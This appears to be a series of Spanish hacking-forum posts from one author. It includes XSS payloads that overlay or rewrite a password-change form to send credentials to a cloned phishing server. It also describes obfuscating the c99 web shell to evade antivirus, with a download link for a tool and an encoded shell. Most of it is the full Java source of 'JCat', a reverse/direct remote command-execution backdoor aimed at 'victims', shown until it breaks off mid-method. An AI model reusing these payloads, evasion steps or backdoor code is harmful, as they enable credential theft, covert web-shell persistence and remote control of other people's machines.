    http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login=%22/%3E%20%3Cdiv%20style=%22position:%20absolute;%20z-index:1;left:525;%20top:90;%20border:%20none;%20border:%200;%22%3E%3Cimg%20src=%22cuadrado.png%22%20height=%22100%22%20width=%22160%22%20onclick=%22javascript:window.location.href=%27http://127.0.0.1/portalvtn/change_password.php%27%22%3E%3C/div%3E%3Cinput%20type=%22hidden%22%20value=%22

    Diseccionándola para identificar mejor cada parte de la URL es posible identificar:

    Por un lado la URL tal cual.
    http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login=

    Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.
    Código (html4strict) [Seleccionar]
    "/>
    <div style="position: absolute; z-index:1;left:525; top:90; border: none; border: 0;">
    <img src="cuadrado.png" height="100" width="160" onclick="javascript:window.location.href='http://127.0.0.1/portalvtn/change_password.php'"></div>
    <input type="hidden" value="


    Con el cierre del TAG del principio y la apertura de un input evitamos que la aplicación muestre la web erróneamente:
    Código (html4strict) [Seleccionar]
    "/>
    <input type="hidden" value="


    Con el DIV se va a colocar una imagen transparente encima del botón que sirve para acceder al panel de administración.
    http://img443.imageshack.us/img443/9761/rg4.png

    La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS.

    Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente.


    Imagen 1: Imagen sobrepuesta al botón

    La víctima al rellenar su usuario y contraseña y cliquear sobre Cambiar contraseña propia estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta.


    Imagen 2: Víctima redirigida a la web clonada

    Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento.

    Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche.


    Imagen 3: Usuario y contraseña robada


    Imagen 4: Redirección a la web original

    Ejemplo 2:

    Otra forma muy elegante que no por ello la anterior no se ha de tener en cuenta es modificando en el vuelo directamente el action del form.
    http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login=%22%2F%3E%0A%3Cscript%3Edocument.changeForm.action%20%3D%20%22%20http%3A%2F%2F127.0.0.1%2Fportalvtn%2Fchange_password.php%22%3Bdocument.forms
    • .btnSubmitOwn.type%3D%22submit%22%3C%2Fscript%3E%0A%3Cinput%20type%3D%22hidden%22%20value%3D%22aaa%0A"

      Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.
      Código (html4strict) [Seleccionar]
      <script>document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";document.forms[0].btnSubmitOwn.type="submit"</script>
      <input type="hidden" value="aaa


      Como se puede apreciar se le está cambiando el action del form que en un principio se dirigía a sí mismo, por el de nuestro scam que tenemos en el servidor a la espera de que caiga en el engaño.
      document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";

      y el type del botón para que pase a ser un submit
      document.forms[0].btnSubmitOwn.type="submit"

      Aquí se puede apreciar cómo una vez hecha la inyección al darle a 'Cambiar contraseña propia' se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero.


      Imagen 5: Inyección XSS/ formulario rellenado


      Imagen 6: Envio de credenciales y vuelta al login original.

      De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible.

      Ejemplo 3:

      Y por último otro ejemplo de XSS no muy común sería el siguiente
      http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=1

      Donde el código fuente de la aplicación es el siguiente:

      Código (html4strict) [Seleccionar]
      <html xmlns="http://www.w3.org/1999/xhtml">
      <head>
      <title>SIP+ Planilla Flotante</title>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
      </head>
      <frameset cols="250,*" frameborder="no" border="0" framespacing="0">
              <frame
                     src="indicePlanilla.php?proyectoId=1&amp;action=ver"
                     name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
              <frame
                     src="verPlanilla2.php?proyectoId=1"
                     name="mainFrame" id="mainFrame" />
      </frameset>
      <noframes>
      <body>
      </body>
      </noframes>
      </html>


      Al parecer el valor del campo proyectoId termina concatenándose en la propiedad src de la etiqueta frame del tal manera que preparando una inyección XSS como la siguiente:
      http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=%22%20onload=javascript:alert%288%29%20michy=%22a


      Diseccionándolo para que se entienda mejor:
      http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=

      " onload=javascript:alert(8) michy="a

      Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro proyectoId en la etiqueta frame sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.
      Código (html4strict) [Seleccionar]
              <frame
                     src="indicePlanilla.php?proyectoId=\" onload=javascript:alert(8) michy=\"a&amp;action=ver"
                     name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>   
         



      Imagen 7: Inyección exitosa en la etiqueta frame

      Fuente: http://code-disaster.blogspot.com/
    #12
    Siguiendo con el hilo del post anterior se les va a hablar de herramientas comunes para ofuscar código PHP y así lograr saltarse los antivirus. Como ejemplo se usará una herramienta llamada carbylamine escrita en PHP y desarrollada por Prakhar Prasad

    Su uso es simple, es necesario pasarle 2 parámetros, fichero de entrada y fichero de salida


    Imagen 1: Ejecución carbylamine

    Al comparar el código de los dos ficheros se puede ver un gran cambio


    Imagen 2: Comparación c99 Ofuscada y sin Ofuscar

    Y al analizarlos no se detecta como código malicioso.


    Imagen 3: Análisis de Avira

    Así de sencillo se logra burlar al antivirus y es que no es Avira el único caso, es más desde mi punto de vista Avira es uno de los mejores antivirus que existe hoy en día y es que volviendo a criticar lo que se habló en el anterior post del método de detección por firmas que tan ineficaz es y aún más si estas empresas no invierten trabajo en añadir firmas a herramientas tan conocidas como puede ser la c99 ofuscada sin previas modificaciones con los típicos métodos de ofuscación.


    Imagen 4: Análisis en Virustotal - detección 0/47

    Y es que son muchos los que se inician en el mundo del defacement y sin más suben una web shell ofuscada que se han bajado de la primera página de los resultados de google.


    Imagen 5: Búsqueda en google c99 webshell

    Muchos webmasters se alertarían si su antivirus la hubiese detectado

    Conclusión
    Me gustaría proponerle una idea y que llegase a los oídos de estas empresas antivirus.
    Porqué no advierten los antivirus cuando en un directorio web se encuentra un fichero que hace llamadas a determinadas funciones como gzinflate, base64_decode, etc y si esta al tanto, el administrador la añada como excepción. ¿Se les ocurre algún CMS que ofusque su código fuente como lo hace carbylamine?.

    Fuente: http://code-disaster.blogspot.com/
    #13
    Continuando con el anterior post, hoy se va a tratar la publicación de una herramienta para agilizar el método utilizado a la hora de conseguir que no se detecte la webshell y así dejar automatizado este proceso.

    Imagen 1: AVFuck ejecución sin parámetros

    Antes de nada se explica en profundidad el funcionamiento interno para que puedan contar con las nociones necesarias sobre lo que hace la herramienta, para una mejor comprensión. La aplicación va a crear varios ficheros partiendo del original, donde cada fichero generado se va a diferenciar en su contenido, en función del número que se haya enviado como tercer parámetro a la aplicación. Un ejemplo a pequeña escala sería tener una web shell con una longitud de 30 caracteres en la que se ejecutase la aplicación de la siguiente forma:

    AVFuck_TPlain.exe 0 end 10 ficheroConWebshellEnBase64
    El resultado va a ser la creación de 3 ficheros llamados 0-10.php, 10-20.php, 20-30.php, donde el primero varia los 10 primeros caracteres con respecto del original, en el segundo se varia desde el carácter 10 hasta el 20 y el tercero desde el 20 hasta el 30. Para poder realizar las variaciones, lo único que se ha incluido ha sido una salto de línea entre cada carácter de ese rango.

    Tomándose como referencia este ejemplo, se podría poner un caso real, el que se utilice la web shell c99, como se indicó en el primero post. Una vez se tenga la web shell cifrada en base64 y volcada en un fichero,  lo siguiente será lanzar la mi aplicación de la siguiente forma:

    Primero será necesario colocarse en el directorio de la App

    Cd "C:\xxxx\App\"

    Y después ejecutarla de esta forma:

    AVFuck_TPlain.exe 0 end 10000 ficheroConWebshellEnBase64

    Una vez termine saldrá el mensaje ..........End!

    Imagen 2: AVFuck ejecución con parámetros

    Generando los siguiente ficheros:

    Imagen 3: Ficheros resultantes

    El próximo paso será analizar los ficheros y eliminar los detectados.

    Imagen 4: Análisis y detección de ficheros

    Como se ve, ha detectados 22/23 con lo cual nos deja un fichero libre de firma el 0-10000.php y si se realiza la prueba de copiarlo y pegarlo en el directorio web y a continuación se procede con su apertura desde del navegador se puede ver que se ejecuta correctamente, con lo cual ya se tendría la webshell libre de firma y funcional.


    Imagen 5: c99 indetectable a AVIRA y en ejecución

    Herramientas:
    AVFuck_TPlain Compilado + Base64(C99) http://www.multiupload.nl/SJK01DU9BD

    Conclusión:
    Se le ha explicado como utilizar la herramienta para facilitar el método propuesto en el anterior post. En el próximo post continuando con la temática se propondrán otros métodos más habituales y sus herramientas.


    Fuente: http://code-disaster.blogspot.com/
    #14
    Una web shell es una herramienta común entre los defacers una vez que se ha logrado subir algún fichero a un servidor web para de este modo sea mas cómodo curiosear en el servidor, entre las web shell hay una muy reconocida que lleva muchos años en la red es la llamada C99 que se puede encontrar en infinidad de servidores.
    Sé va a enseñar como hacer indetectable para saltarse la detección del Avira Antivirus en su versión free.
    Una vez descargada y analizada por el antivirus es detectada como PHP/C99Shell.B

    Imagen 1: Web Shell sin codificar

    Lo siguiente será encodear la web shell y que siga funcional y para ello es necesario realizar algunos cambios como cerrar los tags php y abrirlos quedando de la siguiente forma:
    ¿><?php ...c99....?><?php
    Para codificarla es necesario apoyarse en alguna aplicación que lo codifique en base64, en el ejemplo se ha utilizado una aplicación gratuita disponible en http://www.base64encode.org/

    Imagen 2: tags añadidos al final y al principio – codificada

    Con el resultado codificado lo siguiente será crear un archivo php en mi caso lo he llamado C992.php y volcar allí el código en base64 quedando de la siguiente forma

    Imagen 3: Web Shell encodeada en base64

    Una vez comprobado que sigue funcional, hay que probar si el antivirus sigue detectándolo antes de seguir. Y como se puede ver sigue alertando Avira pero con una variante en este caso la firma en vez de llamarse PHP/C99Shell.B ha cambiado la B por una A

    Imagen 4: Avira con c99 en base64

    Y aquí es donde entra un método común entre los modders de malware y no es otro que el AVFuck, se trata de buscar en el caso de un fichero binario el offsets donde cae la firma que el antivirus le ha puesto al fichero supuestamente dañino, lo que en vez de offsets y un binario se hará a caracteres de un fichero de texto de tal modo que rompa la firma.
    Tras hacer varias pruebas cambiando caracteres de la string en base64 que es en lo que básicamente se basa el método AVFuck se logró haciendo dos simples salto de línea antes y después de un carácter dejarla indetectable a Avira quedando de la siguiente forma.

    Imagen 5: firma rota

    Quedando de esta forma indetectable y funcional.
    Conclusión:
    Los antivirus siguen utilizando las mismas técnicas ineficaces con los binarios y los archivos de texto plano. En la próxima entrada se desarrollará una aplicación para facilitar el proceso del método AVFuck

    Fuente: http://code-disaster.blogspot.com
    #15
    Hola ando haciendo una aplicación que ejecute un comando en linux y que a la vez lo vuelque en un archivo por ejemplo ifconfig > test.txt.

    esta es la aplicación:

        public void getHardwareInfo() {
            String s = null;
            String todo="";
            try {
                String so = System.getProperty("os.name");
                String comando="";
                if (so.equals("Linux"))
                    comando = "ifconfig > /Users/Admin/Desktop/test.txt";
                if (so.equals("Mac OS X"))
                    comando = "system_profiler > /Users/Admin/Desktop/test.txt";
                if (so.equals("Windows")) //mirar lo que obtiene en so en windows
                    comando = "cmd /c ipconfig";

                    System.out.println(so);
                Process p = Runtime.getRuntime().exec(comando);
                BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
                BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));

                // Leemos la salida del comando
                System.out.println("Ésta es la salida standard del comando:\n");
                while ((s = stdInput.readLine()) != null) {
                    System.out.println(s);
                }

                // Leemos los errores si los hubiera
                System.out
                .println("Ésta es la salida standard de error del comando (si la hay):\n");
                while ((s = stdError.readLine()) != null) {
                    System.out.println(s);
                }
            } catch (IOException e) {
                System.out.println("Excepción: ");
                e.printStackTrace();
                System.exit(-1);
            }

        }
    #16
    Hacking / Duda netcat y php
    17 Octubre 2012, 19:34 PM
    Hola buenas me gustaria saber si hay forma de obtener lo que se puede con netcat -vvlp 5000 con php desde una web.

    Gracias de antemano
    #17
    Java / JCat Conexión Inversa y Directa
    16 Octubre 2012, 13:57 PM
    JCat es una aplicación que la cree hace mucho, pero por no tener tiempo no he podido hacer el tutorial del manejo. Mas que nada les va a servir para aprender a utilizar Thread y Sockets que es lo mas importante en el. basicamente ejecuta comandos en las maquinas víctimas y devuelven el resultado en el atacante.



    Aqui les dejo un tutorial con el manejo del mismo
    http://www.multi-upload.me/c7ciux2h77bt/JCat%20Tutorial_multiupload-download-.pdf.html
    es necesario tener la maquina virtual de Java evidentemente. luego lo compilan en linux con: javac JCat.java. y para iniciarlo tanto en win como el linux: java JCat. Y aqui el code.



    import java.io.DataInputStream;
    import java.io.DataOutputStream;
    import java.io.IOException;
    import java.net.ServerSocket;
    import java.net.Socket;
    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    import java.util.ArrayList;
    import java.util.Random;
    import java.net.InetAddress;

    /*
    * -Conexion Directa- Informacion: nos aprovechamos del flujo de salida del
    * cliente y del de entrada del servidor. Utilizamos el Cliente para enviar
    * datos Salida. El Servidor la recive y la procesa
    *
    * Ventaja: Ninguna.
    *
    * Desventaja: Al reiniciar el router cambiamos de IP y perdemos a la victima
    * hay que abrir un puerto en el router de la victima.
    * -----------------------------------------------------------------------------
    *
    * -Conexion Inversa- Informacion: nos aprovechamos del flujo de salida del
    * Servidor y del de entrada del Cliente. Utilizamos el Servidor para enviar
    * datos por su Salida. El Cliente la recive y la procesa
    *
    * Ventaja: en la victima se predefine nuestra DNS Dinamica (cada x tiempo
    * actualiza la ip a la que esta apuntando y vuelve a apuntar a la nueva) el
    * puerto se habre en nuestro PC
    *
    * Desventaja: el puerto se habre en nuestro PC.
    *
    */
    class JCat {

        public static int Port;
        public static String IP;

        public static void main(String[] args) {

            if (true) {
                if (args.length > 0) {
                    //if (argsS1.equals("1") && argsS2.equals("1")) {
                    if (args[0].equals("1") && args[1].equals("1")) {

                        ConexionDirectaServidor a = new ConexionDirectaServidor();
                        a.start();
                    }
                    //if (argsS1.equals("1") && argsS2.equals("2")) {
                    if (args[0].equals("1") && args[1].equals("2")) {
                        ConexionDirectaCliente a = new ConexionDirectaCliente();
                        a.start();
                    }
                    //if (argsS1.equals("2") && argsS2.equals("1")) {
                    if (args[0].equals("2") && args[1].equals("1")) {
                        ConexionInversaServidor a = new ConexionInversaServidor();
                        a.setMode(2);
                        a.start();

                    }
                    //if (argsS1.equals("2") && argsS2.equals("2")) {
                    if (args[0].equals("2") && args[1].equals("2")) {
                        ConexionInversaCliente a = new ConexionInversaCliente();
                        a.start();
                    }

                    if(args[2] != null){
                        Port = (Integer.parseInt(args[2]));

                    }

                    try{
                        if(args[3] != null){
                            IP = args[3];
                        }else{
                            IP = "";
                        }
                    }catch(ArrayIndexOutOfBoundsException e){}

                }else {
                    System.out.println("                                    ");
                    System.out.println("                                Uo              ");
                    System.out.println("                                Mb$QU               ");
                    System.out.println("                           MMMMMMMMMMMM$            ");
                    System.out.println("                         MMMMMMMMMMMM@$EIMMMMMMMMMM#        ");
                    System.out.println("                   MMMMMMMMMMMMMMMMMMMMMMMMMMMMzi..v#M@     ");
                    System.out.println("               MMMMMMMMMMMM@M@@@@@@#@$#$@MMMMM#@MME  :MM@       ");
                    System.out.println("           0@MMMMMMM@@@MMMMMMMMMMMMMMMMMMMMMM91@MMMMi iM#@      ");
                    System.out.println("          MMMMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMM  .MMMME  M#Q@     ");
                    System.out.println("        #MMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM$BMMMM$  8MWQE$M   ");
                    System.out.println("       AMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@97c:   0MWWEE9W   ");
                    System.out.println("      :MMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM#IoU#MMBBWW0Q6,..    ");
                    System.out.println("     CMMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMM@$#$$WE7:,,.    ");
                    System.out.println("    .MMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@@#087i....      ");
                    System.out.println("    MMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0niictYYvcv;,..              ");
                    System.out.println("   0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMB:....                          ");
                    System.out.println("   MMMMMMMMMMMMMMMMMMMMMMMMMM0t7MMMMM,.;i,.                         ");
                    System.out.println("  XMMMMMMMMMMMMMMMMMMMMMM8Y,    ,MMMM#.,;i..                        ");
                    System.out.println("  MMMMMMMMMMMMMMMMMMMMM#c.  ...  .MMMM8 ,;i..                       ");
                    System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMM$7..,.  QMM@b..ii..                      ");
                    System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMMMM@z,,:  :b$$QY;i,..                 ");
                    System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@Y YE BWEbWE;i,..            ");
                    System.out.println("  MMMMMMMMMMMMM7.......,72B@MMMMMzQ@@@MM$o9;i,..            ");
                    System.out.println("  MMMMMMMMMMMM,.,,           ,vb#MM@EA@MM9Y;i,..            ");
                    System.out.println("  MMMMMMMMMMM.,i,.               .6W$1#MMM;i,..             ");
                    System.out.println("  MMMMMMMMMM:,i:.                    1#MMM;i,..             ");
                    System.out.println("  $MMMMMMMMC.ii..                                       ");
                    System.out.println("  YMMMMMMM@,:;,.                                        ");
                    System.out.println("   MMMMMMMU.;i,.                        JCat v1     ");
                    System.out.println("   EMMMMMM7.;i..          ..            Developed by MichB              ");
                    System.out.println("    MMMMMMC.c:,  .I$MM@b1:..:..         18/06/12            ");
                    System.out.println("    XMMMMMz.;;. 7MMWSSA$M@2,.i:,.                   ");
                    System.out.println("     QMMMM@.:;,.MM.     ,b$9,.i:,                                   ");
                    System.out.println("      @MMMM6 :i.0@.  :8C  Ubo..i,.                                  ");
                    System.out.println("       @MMM@z.:.,Z#bE$8,. vSU,.i:.                                  ");
                    System.out.println("        EMMM@bi,..,:..    X1ti.;:.                      ");
                    System.out.println("         ;@MM@#9Xi,.....inzn7,;i,.                                  ");
                    System.out.println("           YW@@##BbEbbZ8A6S7,i:,.                                   ");
                    System.out.println("             .X600QEb6ASCi,...                                      ");

                    System.out.println("\nEjemplo: Cliente envia comandos a Servidor y este le devuelve el resultado\n");
                    //cliente envia comando y recive respuesta del servidor
                    System.out.println("Servidor Conexion Directa -> java JCat 1 1 5000               <- Victima");
                    System.out.println("Cliente Conexion Directa  -> java JCat 1 2 5000 192.168.12.2  <- Atacante");

                    System.out.println("\nEjemplo: Servidor envia comandos al Cliente y este le devuelve el resultado\n");
                    //servidor envia comando y recive respuesta del cliente
                    System.out.println("Servidor Conexion Inversa -> java JCat 2 1 5000               <- Atacante");
                    System.out.println("Cliente Conexion Inversa  -> java JCat 2 2 5000 192.168.12.2  <- Victima\n");
                    System.out.println("\nModos del Servidor Conexion Inversa: \n(0) Significa que envia primero un comando al cliente X y otro diferente al cliente Y y asi sucesivamente;");
                    System.out.println("(1) Significa que envia un mismo comando y se ejecuta en todos los clientes conectados X,Y,Z;");
                    System.out.println("\tNo hay limite de clientes para los 2 Modos\n");
                    System.exit(-1);
                    //}
                }
            }
        }
    }
    class ConexionDirectaServidor extends Thread{

        private ServerSocket escucha3;
        private Socket conexion3;
        //private static Thread hebraServidor3;
        //private static String mensaje3;

        private int veces=0;
        static ArrayList<Integer> HASHs = new ArrayList<Integer>();

        ConexionDirectaServidor(){}

        ConexionDirectaServidor(int veces){
            this.veces = veces;
        }

        public void run () {

            try {
                int puerto = JCat.Port;
                //int puerto = 5000;
                escucha3 = new ServerSocket(puerto);
                BufferedReader br = null;
                String sTexto = "";

                System.out.println("\n*---------------------------------*");
                System.out.println("*       Conexión D. SERVIDOR      *");
                System.out.println("*---------------------------------*\n");
                System.out.println("Escuchando en el puerto: " + puerto +"\n");
                System.out.println("Servidor a la escucha...\n");
                System.out.println("\nEscriba en el Cliente...");
                if(puerto == 0){
                    System.out.println("Muy seguido esperando 3 segundos antes de intentar poner de nuevo el servidor a la escucha\n");
                    try {
                        this.sleep(3000);
                    } catch (InterruptedException exa) {
                        System.out.println(exa);
                    }
                    System.out.println("Intento: "+veces+"\n");
                    ConexionDirectaServidor a = new ConexionDirectaServidor(veces++);
                    a.start();
                }

                while (true) {
                    conexion3 = escucha3.accept();
                    //DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());

                    Runnable nuevoCliente = new HiloDeCliente(conexion3);

                    Thread hilo = new Thread(nuevoCliente);

                    hilo.start();
                    try {
                        hilo.sleep(2000);
                    } catch (InterruptedException exa) {
                        System.out.println(exa);
                    }

                }
            } catch (IOException ex) {
                System.out.println("Mensaje de Error! -> "+ex);
                if(ex.equals("java.net.BindException: Address already in use")){
                    System.out.println("Posiblemente se encuentra está u otra aplicación ocupando este puerto");
                }
            }

        }
    }

    // Implementa Runnable para poder ser lanzada en un hilo aparte
    class HiloDeCliente implements Runnable
    {
        // En el constructor recibe y guarda los parámetros que sean necesarios.
        // En este caso una lista con toda la conversación y el socket que debe
        // atender.
        private String osName = System.getProperty ( "os.name" );
        private String Arch = System.getProperty ( "os.arch" );
        private String Version = System.getProperty ( "os.version" );

        private String SP = System.getProperty ( "sun.os.patch.level" );
        private String Country = System.getProperty ( "user.country" );
        private String dirUserHome = System.getProperty ( "user.home" );
        private String Lang = System.getProperty ( "user.language" );
        private String userName = System.getProperty ( "user.name" );
        private String VersionJV = System.getProperty ( "java.vm.version" );
        private String Direccion;
        private String Direccion2;
        private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV, Direccion, Direccion2};
        private Socket conexion3;
        private int HASH;
        public HiloDeCliente(Socket socket)
        {
            try{
                InetAddress address = InetAddress.getLocalHost();
                String Direccion = address.getHostAddress();
                String Direccion2 = address.getCanonicalHostName();
            } catch (java.net.UnknownHostException e) {
            }
            conexion3 = socket;
        }

        public void run ()
        {

            try { 
                DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
                DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());

                System.out.println("\nCliente Conectado...");

                HASH = entrada.readInt();
                System.out.println("Identificador del Cliente: "+HASH);

                if(!ConexionDirectaServidor.HASHs.contains(HASH)){
                    ConexionDirectaServidor.HASHs.add(HASH);

                    for(int i=0;i<arrayDatos.length;i++)
                        if(arrayDatos[i]==null)
                            arrayDatos[i]="null";
                    salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
                        + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
                        + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8] + "\n| Direccion: " + arrayDatos[9] + "\n| Direccion2: " + arrayDatos[10]);
                }

                String comando = entrada.readUTF();
                System.out.println("Comando del Cliente: " + comando);
                new Ejecutor().executeCommand(comando, false, conexion3);
                // Código para atender al cliente.
            } catch (IOException ex) {
                //System.out.println(ex);
            }

            //System.out.println("Cierre de conexion del cliente");
        }

    }

    class ConexionDirectaCliente extends Thread {

        private Socket conexion4;
        private static Thread hebraServidor4;
        private static String mensaje3;
        private Random rnd = new Random();
        private int HASH;
        private boolean continuar=true;
        private int contador;
        ConexionDirectaCliente(){
            HASH = (rnd.nextInt() * 10000);
            contador=0;
        }

        public void run() {
            //System.out.println("Ejemplo Conexion Directa Yo soy Cliente");
            //System.out.println("Solo Envio al Servidor");
            System.out.println("\n*---------------------------------*");
            System.out.println("*       Conexión D. CLIENTE       *");
            System.out.println("*---------------------------------*\n");

            if(continuar){
                while (true) {

                    String ip = JCat.IP;
                    //String ip = "192.168.13.240";
                    int puerto = JCat.Port;
                    //int puerto = 5000;
                    try {

                        conexion4 = new Socket(ip, puerto);
                        BufferedReader br = null;
                        String sTexto = "";

                        DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
                        DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
                        //enviamos
                        salida.writeInt(HASH);

                        //salida.writeUTF(System.getProperty("os.name"));
                        //salida.writeUTF(System.getProperty("user.name"));
                        //recivimos
                        //System.out.println("lo recivo yo el Cliente " + entrada.readUTF());

                        br = new BufferedReader(new InputStreamReader(System.in));

                        System.out.println("Conectado al Servidor...\n");
                        System.out.println("-----------------------------------");
                        System.out.println("| Mi Identificador: "+HASH);
                        System.out.println("-----------------------------------");

                        if(contador==0){

                            System.out.println("| [+] Información del Servidor [+] |");
                            System.out.println("-----------------------------------");
                            System.out.println(entrada.readUTF());
                            System.out.println("-----------------------------------");
                            contador++;
                        }
                        try {
                            System.out.printf("\tComando: %s",sTexto = br.readLine());

                            //enviamos
                            salida.writeUTF(sTexto);
                        } catch (IOException io) {
                            io.printStackTrace();
                        }
                        //COMANDOS
                        System.out.println(entrada.readUTF());

                    } catch (IOException ex) {

                        //break;
                        if(ex.getMessage().equals("Can't assign requested address")){

                            System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
                            try {
                                this.sleep(3000);
                            } catch (InterruptedException exa) {
                                System.out.println(exa);
                            }

                            ConexionDirectaCliente a = new ConexionDirectaCliente();
                            a.start();
                            continuar =  false;
                            break;
                        }
                    }

                }
            }
        }
    }

    class ConexionInversaServidor extends Thread {
        private ServerSocket escucha3;
        static Socket conexion3;
        //private static Thread hebraServidor3;
        //private static String mensaje3;
        //private String MSJ=null;

        //static primera a;
        //static String textoTeclado;
        static ArrayList<Integer> HASHs = new ArrayList<Integer>();
        static ArrayList<Socket> p = new ArrayList<Socket>();

        static int Mode;
        private boolean continuar=true;
        private int HASH;
        boolean debugging=true;
        int contador=0;
        public void setMode(int predefinido){

            try{
                try{
                    if(predefinido==2){
                        BufferedReader br = null;
                        String sTexto="";
                        System.out.println("\nMode: (0)[ 1 a 1; 1 a 2; etc ], (1)[ Multicast 1 a todos]");
                        br = new BufferedReader(new InputStreamReader(System.in));

                        System.out.printf("\tModo: (%s) \n",sTexto = br.readLine());
                        Mode=Integer.parseInt(sTexto);
                    }else{
                        Mode=predefinido;
                    }

                } catch (NumberFormatException exe) {
                    System.out.println("Mensaje de Error! -> "+exe.getMessage());
                }
            } catch (IOException ex) {
                System.out.println("Mensaje de Error! -> "+ex.getMessage()+" Se espera 0 o 1");
            }
        }

        public void run() {
            try {

                int puerto = JCat.Port;
                escucha3 = new ServerSocket(puerto);

                System.out.println("\n*---------------------------------*");
                System.out.println("*       Conexión I. SERVIDOR      *");
                System.out.println("*---------------------------------*\n");
                System.out.println("Escuchando en el puerto: " + puerto +"\n");
                if(puerto == 0){
                    continuar =  false;
                    System.out.println("Muy seguido espera 3 segundos antes de poner de nuevo el servidor a la escucha\n");
                    try {
                        this.sleep(3000);
                    } catch (InterruptedException exa) {
                        System.out.println(exa);
                    }
                    ConexionInversaServidor a = new ConexionInversaServidor();
                    a.setMode(Mode);
                    a.start();

                }
                if(continuar){
                    System.out.println("Servidor a la escucha...\n");
                    Teclado Teclad = new Teclado();
                    Teclad.start();
                    while (true) {

                        conexion3 = escucha3.accept();
                        DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
                        DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
                        //System.out.println("INICIO");
                        HASH =entrada.readInt();

                        System.out.println("-----------------------------------");
                        System.out.println("| ID Cliente: "+HASH);
                        System.out.println("-----------------------------------");

                        if(!HASHs.contains(HASH)){
                        HASHs.add(HASH);
                        System.out.println("| [+] Información del Cliente [+] |");
                        System.out.println("-----------------------------------");
                        System.out.println(entrada.readUTF());
                        System.out.println("-----------------------------------");

                        }
                       
                        if(contador==0){

                            contador++;
                        }

                        //System.out.println("Tamaño -> "+p.size() );
                        primera Conexion = new primera(conexion3);

                        //Thread hilo1 = new Thread(Conexion);
                        Conexion.start();

                        p.add(conexion3);
                        if(debugging)
                            System.out.println("añadidos al array "+p.size());
                        //System.out.println("FIN");

                    }
                }
            } catch (IOException ex) {
                ex.printStackTrace();
            }
        }

        static public void envioTextoTeclado0(String sTexto) {

            //System.out.println("Comprobacion 2 Tamaño -> "+p.size() );

            if(Mode == 0){
                try{
                    for(int i=0;i<p.size();i++){
                        Socket con = p.get(i);

                        //System.out.println("Cliente: "+i);
                        DataOutputStream salida = new DataOutputStream(con.getOutputStream());
                        DataInputStream entrada = new DataInputStream(con.getInputStream());

                        salida.writeUTF(sTexto);
                        System.out.println(entrada.readUTF());

                        synchronized (p.get(i)) {
                            //System.out.println("Soy 2 desperte a uno");
                            p.get(i).notify();
                            //System.out.println("Soy 2 y continua uno");

                        }

                        p.remove(p.get(i));

                    }
                    //System.out.println("hashcode -> "+p.get(0).hashCode() );
                    //System.out.println("hashcode -> "+p.get(1).hashCode() );

                } catch (IOException ex) {
                    ex.printStackTrace();
                }
            }
            if(Mode == 1){
                try{
                    for(int i=0;i<p.size();i++){

                        Socket con = p.get(i);

                        //System.out.println("Cliente: "+i);
                        DataOutputStream salida = new DataOutputStream(con.getOutputStream());
                        DataInputStream entrada = new DataInputStream(con.getInputStream());

                        salida.writeUTF(sTexto);
                        System.out.println(entrada.readUTF());

                    }
